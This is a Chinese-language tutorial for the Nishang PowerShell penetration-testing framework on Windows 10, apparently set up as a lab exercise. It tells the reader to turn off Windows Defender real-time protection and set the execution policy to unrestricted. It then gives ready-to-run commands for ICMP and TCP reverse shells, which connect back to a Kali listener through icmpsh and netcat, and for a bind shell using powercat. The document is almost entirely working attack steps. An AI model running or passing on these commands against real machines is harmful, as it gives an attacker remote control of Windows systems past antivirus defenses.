nishang反弹shell多种方式攻击——win10

一、nishang时基于powershell的渗透测试工具，需要powershell的版本达到3.0及以上。推荐win10版本电脑或windowsserver2008以上版本服务器

1、win10上直接以管理员身份运行

2、运行后开始导入nishang框架，导入前需先下载nishang。下载地址：https://github.com/samratashok/nishang（由于win10自带杀毒，下载时需要关闭实时防护）

进入文件前首先运行 set-executionpolicy unrestricted     选择y

进入到解压的nishang文件下，运行import-module ./nishang.psm1，会出现以下问题，证明文件没有丢失。

确认可继续执行Get-Command -Module nishang ，查看文件

这时候环境已经搭好，这时候需要去kali里搭建利用。

二、icmp反弹shell

1、icmp简单介绍：

       使用ICMP协议最常见的就是ping工具，在ping www.baidu.com的时候可以看到，ICMP协议是典型的一问一答模式，本机向百度服务器发送ICMP请求包，如果请求包成功到达目的地，百度服务器则回应ICMP响应包。

       ICMP（Internet Control Message Protocol）是IPv4协议族中的一个子协议，用于IP主机、路由器之间传递控制消息。控制消息是在网络通不通、主机是否可达、路由是否可用等网络本身的消息。

2、漏洞利用

   kali里安装icmpsh工具。  https://github.com/inquisb/icmpsh.git

   

  进入kali中icmpsh目录下，输入命令sysctl -w net.ipv4.icmp_echo_ignore_all=1来禁止ICMP回显。（这步可忽略）

    python icmpsh_m.py 192.168.230 192.168.0.149   或者

   ./icmpsh_m.py 192.168.0.230 192.168.0.149来启动监听（第一个ip是kali的，后面一个是搭建环境windows的ip）

   提示：实现icmp反弹shell虚拟机必须换成桥接模式，下面的几种方式啥都可以。

    

    接下来去powershell里执行：Invoke-PowerShellIcmp -IPAddress 192.168.0.230

    

    这时kali里就会反弹回shell

    

    这时就拿到了权限，接下来你就自己操作，如windows系统操作一样。

 三、 TCP shell

    1、kali不需要下载任何东西直接执行

         nc -lvp 4444  （监听端口，端口可随意更改）

         直接powershell里执行Invoke-PowerShellTcp -Reverse -IPAddress 192.168.197.128  -Port 4444   

         

         

四、Bind shell

   powershell直接执行：

    Invoke-PowerShellTcp.ps1

    Invoke-PowerShellTcp -Bind -Port 8888

    kali里写

   . .powercat.ps1

   powercat -c ip -v -p 8888  （ip是搭建环境系统的ip）

  

 参考链接:www.sohu.com/a/235697862_609556